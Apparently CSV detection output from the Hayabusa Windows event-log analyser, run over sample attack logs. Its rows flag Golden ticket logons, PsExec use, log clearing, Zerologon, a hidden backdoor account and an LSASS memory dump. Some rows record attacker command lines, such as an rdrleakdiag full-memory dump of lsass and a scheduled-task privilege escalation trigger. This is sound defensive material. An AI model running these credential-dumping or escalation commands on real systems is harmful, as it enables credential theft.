WerTrigger.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_spoolsv_spl_file_write_sysmon11.evtx +2020-08-12 22:06:03.487 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Windows\system32\cmd.exe /c schtasks /run /TN ""Microsoft\Windows\Windows Error Reporting\QueueReporting"" > nul 2>&1 : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: WerTrigger.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_spoolsv_spl_file_write_sysmon11.evtx +2020-08-12 22:06:04.075 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\wermgr.exe -upload",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_spoolsv_spl_file_write_sysmon11.evtx +2020-08-12 22:06:08.143 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: whoami : Path: C:\Windows\System32\whoami.exe : User: NT AUTHORITY\SYSTEM : Parent Command: ""C:\Windows\system32\cmd.exe""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_spoolsv_spl_file_write_sysmon11.evtx +2020-08-12 22:06:08.143 +09:00,MSEDGEWIN10,1,high,Run Whoami as SYSTEM,,rules/sigma/process_creation/win_whoami_as_system.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_spoolsv_spl_file_write_sysmon11.evtx +2020-08-12 22:06:08.143 +09:00,MSEDGEWIN10,1,medium,Whoami Execution,,rules/sigma/process_creation/win_susp_whoami.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_spoolsv_spl_file_write_sysmon11.evtx +2020-08-12 22:06:08.143 +09:00,MSEDGEWIN10,1,low,Local Accounts Discovery,,rules/sigma/process_creation/win_local_system_owner_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_spoolsv_spl_file_write_sysmon11.evtx +2020-08-21 00:35:28.503 +09:00,rootdc1.offsec.lan,5140,informational,Network Share Access,User: hack-admu-test1 : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-Failed ADMIN$ share access.evtx +2020-08-21 00:36:32.382 +09:00,rootdc1.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-Failed ADMIN$ share access.evtx +2020-08-21 00:36:32.391 +09:00,rootdc1.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-Failed ADMIN$ share access.evtx +2020-08-21 00:37:06.186 +09:00,rootdc1.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-Failed ADMIN$ share access.evtx +2020-08-21 00:37:14.331 +09:00,rootdc1.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-Failed ADMIN$ share access.evtx +2020-08-21 00:37:17.039 +09:00,rootdc1.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-Failed ADMIN$ share access.evtx +2020-08-21 00:37:35.319 +09:00,rootdc1.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-Failed ADMIN$ share access.evtx +2020-08-21 00:37:35.773 +09:00,rootdc1.offsec.lan,5140,informational,Network Share Access,User: JUMP01$ : Share Name: \\*\IPC$ : Share Path: : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-Failed ADMIN$ share access.evtx +2020-08-21 00:38:23.185 +09:00,rootdc1.offsec.lan,5140,informational,Network Share Access,User: not_existing_user : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.002-SMB Windows Admin Shares/ID5140-ADMIN$ share connection with Golden ticket.evtx +2020-08-21 00:39:15.820 +09:00,rootdc1.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.002-SMB Windows Admin Shares/ID5140-ADMIN$ share connection with Golden ticket.evtx +2020-08-21 00:41:58.884 +09:00,fs02.offsec.lan,4624,informational,Logon Type 3 - Network,User: not_existing_user : Workstation: - : IP Address: 10.23.23.9 : Port: 50329 : LogonID: 0x119b90e2,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4624-Success login with Golden ticket.evtx +2020-08-21 00:42:54.177 +09:00,fs02.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 50329 : LogonID: 0x119b9a72,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4624-Success login with Golden ticket.evtx +2020-08-21 00:42:54.177 +09:00,fs02.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 50380 : LogonID: 0x119b9a8f,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4624-Success login with Golden ticket.evtx +2020-08-21 00:42:54.193 +09:00,fs02.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 50381 : LogonID: 0x119b9aa3,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4624-Success login with Golden ticket.evtx +2020-08-21 00:42:54.193 +09:00,fs02.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 50382 : LogonID: 0x119b9ab2,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4624-Success login with Golden ticket.evtx +2020-08-21 00:42:55.188 +09:00,fs02.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 50317 : LogonID: 0x119b9b27,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4624-Success login with Golden ticket.evtx +2020-08-21 00:43:04.967 +09:00,fs02.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 50329 : LogonID: 0x119b9e04,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4624-Success login with Golden ticket.evtx +2020-08-21 00:43:36.582 +09:00,fs02.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 50380 : LogonID: 0x119ba401,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4624-Success login with Golden ticket.evtx +2020-08-21 00:43:36.582 +09:00,fs02.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 50381 : LogonID: 0x119ba414,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4624-Success login with Golden ticket.evtx +2020-08-21 00:43:36.582 +09:00,fs02.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 50382 : LogonID: 0x119ba427,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4624-Success login with Golden ticket.evtx +2020-08-27 20:40:56.397 +09:00,04246w-win10.threebeesco.com,11,low,PsExec Tool Execution,,rules/sigma/file_event/file_event_tool_psexec.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/remote_file_copy_system_proc_file_write_sysmon_11.evtx +2020-08-27 20:40:56.625 +09:00,04246w-win10.threebeesco.com,1,informational,Process Creation,Command: C:\WINDOWS\PSEXESVC.exe : Path: C:\Windows\PSEXESVC.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\WINDOWS\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/remote_file_copy_system_proc_file_write_sysmon_11.evtx +2020-08-27 20:40:56.625 +09:00,04246w-win10.threebeesco.com,1,low,PsExec Service Start,,rules/sigma/process_creation/win_psexesvc_start.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/remote_file_copy_system_proc_file_write_sysmon_11.evtx +2020-08-27 20:40:56.625 +09:00,04246w-win10.threebeesco.com,1,low,PsExec Tool Execution,,rules/sigma/process_creation/process_creation_tool_psexec.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/remote_file_copy_system_proc_file_write_sysmon_11.evtx +2020-09-02 20:47:39.499 +09:00,01566s-win16-ir.threebeesco.com,1102,high,Security log was cleared,User: a-jbrown,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/remote task update 4624 4702 same logonid.evtx +2020-09-02 20:47:48.570 +09:00,01566s-win16-ir.threebeesco.com,4624,informational,Logon Type 3 - Network,User: a-jbrown : Workstation: 04246W-WIN10 : IP Address: 172.16.66.142 : Port: 60726 : LogonID: 0x21a8c68,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/remote task update 4624 4702 same logonid.evtx +2020-09-02 20:47:48.823 +09:00,01566s-win16-ir.threebeesco.com,4624,informational,Logon Type 3 - Network,User: a-jbrown : Workstation: - : IP Address: 172.16.66.142 : Port: 60728 : LogonID: 0x21a8c80,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/remote task update 4624 4702 same logonid.evtx +2020-09-02 20:47:48.842 +09:00,01566s-win16-ir.threebeesco.com,4624,informational,Logon Type 3 - Network,User: a-jbrown : Workstation: - : IP Address: 172.16.66.142 : Port: 60726 : LogonID: 0x21a8c9a,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/remote task update 4624 4702 same logonid.evtx +2020-09-05 22:28:40.585 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\WerFault.exe -u -p 3004 -s 632 : Path: C:\Windows\System32\WerFault.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DE_EventLog_Service_Crashed.evtx +2020-09-05 22:33:34.590 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\WerFault.exe -u -p 3668 -s 4420 : Path: C:\Windows\System32\WerFault.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DE_EventLog_Service_Crashed.evtx +2020-09-05 22:34:11.983 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""LogonUI.exe"" /flags:0x4 /state0:0xa3cea855 /state1:0x41c64e6d : Path: C:\Windows\System32\LogonUI.exe : User: NT AUTHORITY\SYSTEM : Parent Command: winlogon.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DE_EventLog_Service_Crashed.evtx +2020-09-05 22:37:07.245 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""LogonUI.exe"" /flags:0x2 /state0:0xa3bd2855 /state1:0x41c64e6d : Path: C:\Windows\System32\LogonUI.exe : User: NT AUTHORITY\SYSTEM : Parent Command: winlogon.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DE_EventLog_Service_Crashed.evtx +2020-09-09 22:18:23.627 +09:00,MSEDGEWIN10,4625,low,Logon Failure - Wrong Password,User: IEUser : Type: 2 : Workstation: MSEDGEWIN10 : IP Address: - : AuthPackage: Negotiate,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_4624_4625_LogonType2_LogonProc_chrome.evtx +2020-09-09 22:18:27.714 +09:00,MSEDGEWIN10,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: MSEDGEWIN10 : IP Address: - : Port: - : LogonID: 0x1cd8f6 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_4624_4625_LogonType2_LogonProc_chrome.evtx +2020-09-09 22:18:27.714 +09:00,MSEDGEWIN10,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: MSEDGEWIN10 : IP Address: - : Port: - : LogonID: 0x1cd964 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_4624_4625_LogonType2_LogonProc_chrome.evtx +2020-09-11 02:48:47.077 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: c:\windows\system32\cmd.exe : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_1_smss_child_proc_bootexecute_setupexecute.evtx +2020-09-11 02:48:47.077 +09:00,MSEDGEWIN10,1,high,Abused Debug Privilege by Arbitrary Parent Processes,,rules/sigma/process_creation/sysmon_abusing_debug_privilege.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_1_smss_child_proc_bootexecute_setupexecute.evtx +2020-09-14 23:44:04.878 +09:00,Sec504Student,1102,high,Security log was cleared,User: Sec504,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/DeepBlueCLI/eventlog-dac.evtx +2020-09-16 03:04:36.333 +09:00,MSEDGEWIN10,1102,high,Security log was cleared,User: IEUser,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Runas_4624_4648_Webshell_CreateProcessAsUserA.evtx +2020-09-16 03:04:39.987 +09:00,MSEDGEWIN10,4648,informational,Explicit Logon,Source User: svc01 : Target User: IEUser : IP Address: - : Process: C:\Windows\System32\inetsrv\w3wp.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Runas_4624_4648_Webshell_CreateProcessAsUserA.evtx +2020-09-16 04:28:17.594 +09:00,01566s-win16-ir.threebeesco.com,1102,high,Security log was cleared,User: a-jbrown,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/Zerologon_VoidSec_CVE-2020-1472_4626_LT3_Anonym_follwedby_4742_DC_Anony_DC.evtx +2020-09-16 04:28:31.453 +09:00,01566s-win16-ir.threebeesco.com,104,high,System log file was cleared,User: a-jbrown,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/Zerologon_CVE-2020-1472_DFIR_System_NetLogon_Error_EventID_5805.evtx +2020-09-16 04:29:51.507 +09:00,01566s-win16-ir.threebeesco.com,4624,informational,Logon Type 3 - Network,User: ANONYMOUS LOGON : Workstation: 02694W-WIN10 : IP Address: 172.16.66.37 : Port: 49707 : LogonID: 0x31ff6e,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/Zerologon_VoidSec_CVE-2020-1472_4626_LT3_Anonym_follwedby_4742_DC_Anony_DC.evtx +2020-09-16 04:29:51.517 +09:00,01566s-win16-ir.threebeesco.com,4624,informational,Logon Type 3 - Network,User: ANONYMOUS LOGON : Workstation: 02694W-WIN10 : IP Address: 172.16.66.37 : Port: 49707 : LogonID: 0x31ff89,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/Zerologon_VoidSec_CVE-2020-1472_4626_LT3_Anonym_follwedby_4742_DC_Anony_DC.evtx +2020-09-16 18:31:19.133 +09:00,01566s-win16-ir.threebeesco.com,4720,high,Hidden user account created! (Possible Backdoor),User: $ : SID:S-1-5-21-308926384-506822093-3341789130-107103,rules/hayabusa/default/alerts/Security/4720_CreateAccount-LocalAccount_ComputerAccountCreated.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DE_Fake_ComputerAccount_4720.evtx +2020-09-16 18:32:13.647 +09:00,01566s-win16-ir.threebeesco.com,4720,high,Hidden user account created! (Possible Backdoor),User: $ : SID:S-1-5-21-308926384-506822093-3341789130-107104,rules/hayabusa/default/alerts/Security/4720_CreateAccount-LocalAccount_ComputerAccountCreated.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DE_Fake_ComputerAccount_4720.evtx +2020-09-17 19:57:37.013 +09:00,01566s-win16-ir.threebeesco.com,1102,high,Security log was cleared,User: a-jbrown,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/remote_pwd_reset_rpc_mimikatz_postzerologon_target_DC.evtx +2020-09-17 19:57:44.254 +09:00,01566s-win16-ir.threebeesco.com,4776,informational,NTLM Logon to Local Account,User: Administrator : Workstation 02694W-WIN10 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4776_NTLM-LogonToLocalAccount.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/remote_pwd_reset_rpc_mimikatz_postzerologon_target_DC.evtx +2020-09-17 19:57:44.270 +09:00,01566s-win16-ir.threebeesco.com,4624,informational,Logon Type 3 - Network,User: Administrator : Workstation: 02694W-WIN10 : IP Address: 172.16.66.37 : Port: 49959 : LogonID: 0x853237,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/remote_pwd_reset_rpc_mimikatz_postzerologon_target_DC.evtx +2020-09-24 01:49:41.578 +09:00,01566s-win16-ir.threebeesco.com,1102,high,Security log was cleared,User: Administrator,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DE_suspicious_remote_eventlog_svc_access_5145.evtx +2020-09-24 01:49:44.353 +09:00,01566s-win16-ir.threebeesco.com,1,informational,Process Creation,Command: C:\Windows\system32\DllHost.exe /Processid:{DC4537C3-CA73-4AC7-9E1D-B2CE27C3A7A6} : Path: C:\Windows\System32\dllhost.exe : User: 3B\Administrator : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DE_remote_eventlog_svc_crash_byt3bl33d3r_sysmon_17_1_3.evtx +2020-09-24 01:49:44.380 +09:00,01566s-win16-ir.threebeesco.com,1,informational,Process Creation,Command: C:\Windows\system32\DllHost.exe /Processid:{49F6E667-6658-4BD1-9DE9-6AF87F9FAF85} : Path: C:\Windows\System32\dllhost.exe : User: 3B\Administrator : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DE_remote_eventlog_svc_crash_byt3bl33d3r_sysmon_17_1_3.evtx +2020-09-24 01:50:16.697 +09:00,01566s-win16-ir.threebeesco.com,4776,informational,NTLM Logon to Local Account,User: Administrator : Workstation : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4776_NTLM-LogonToLocalAccount.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DE_suspicious_remote_eventlog_svc_access_5145.evtx +2020-09-24 01:50:16.697 +09:00,01566s-win16-ir.threebeesco.com,4624,informational,Logon Type 3 - Network,User: Administrator : Workstation: - : IP Address: 172.16.66.37 : Port: 50106 : LogonID: 0x1136e95,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DE_suspicious_remote_eventlog_svc_access_5145.evtx +2020-09-24 01:50:16.702 +09:00,01566s-win16-ir.threebeesco.com,5145,high,First Time Seen Remote Named Pipe,,rules/sigma/builtin/security/win_lm_namedpipe.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DE_suspicious_remote_eventlog_svc_access_5145.evtx +2020-09-24 01:50:16.892 +09:00,01566s-win16-ir.threebeesco.com,1,informational,Process Creation,Command: C:\Windows\system32\WerFault.exe -u -p 5424 -s 4616 : Path: C:\Windows\System32\WerFault.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DE_remote_eventlog_svc_crash_byt3bl33d3r_sysmon_17_1_3.evtx +2020-09-24 01:50:17.194 +09:00,01566s-win16-ir.threebeesco.com,4776,informational,NTLM Logon to Local Account,User: Administrator : Workstation : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4776_NTLM-LogonToLocalAccount.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DE_suspicious_remote_eventlog_svc_access_5145.evtx +2020-09-24 01:50:17.194 +09:00,01566s-win16-ir.threebeesco.com,4624,informational,Logon Type 3 - Network,User: Administrator : Workstation: - : IP Address: 172.16.66.37 : Port: 50107 : LogonID: 0x1137987,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DE_suspicious_remote_eventlog_svc_access_5145.evtx +2020-09-24 01:50:17.200 +09:00,01566s-win16-ir.threebeesco.com,5145,high,First Time Seen Remote Named Pipe,,rules/sigma/builtin/security/win_lm_namedpipe.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DE_suspicious_remote_eventlog_svc_access_5145.evtx +2020-09-24 01:50:19.821 +09:00,01566s-win16-ir.threebeesco.com,1,informational,Process Creation,Command: C:\Windows\system32\wermgr.exe -upload : Path: C:\Windows\System32\wermgr.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DE_remote_eventlog_svc_crash_byt3bl33d3r_sysmon_17_1_3.evtx +2020-09-28 21:47:36.197 +09:00,DESKTOP-PIU87N6,1,informational,Process Creation,"Command: rdrleakdiag.exe /p 668 /o C:\Users\wanwan\Desktop /fullmemdmp /snap : Path: C:\Windows\System32\rdrleakdiag.exe : User: DESKTOP-PIU87N6\wanwan : Parent Command: ""C:\WINDOWS\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_rdrleakdiag_lsass_dump.evtx +2020-09-28 21:47:36.215 +09:00,DESKTOP-PIU87N6,1,informational,Process Creation,Command: C:\WINDOWS\system32\lsass.exe : Path: C:\Windows\System32\lsass.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\WINDOWS\system32\lsass.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_rdrleakdiag_lsass_dump.evtx +2020-09-28 21:47:36.215 +09:00,DESKTOP-PIU87N6,1,critical,Suspicious LSASS Process Clone,,rules/sigma/process_creation/win_susp_lsass_clone.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_rdrleakdiag_lsass_dump.evtx +2020-10-02 03:35:02.415 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: POC.exe : Path: C:\Users\Public\POC\bin\Debug\POC.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/eop_appcontainer_il_broker_filewrite.evtx +2020-10-02 03:35:02.415 +09:00,MSEDGEWIN10,1,high,Execution from Suspicious Folder,,rules/sigma/process_creation/win_susp_execution_path.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/eop_appcontainer_il_broker_filewrite.evtx +2020-10-02 03:35:02.606 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: Program : Path: C:\Users\Public\POC\bin\Debug\POC.exe : User: MSEDGEWIN10\IEUser : Parent Command: 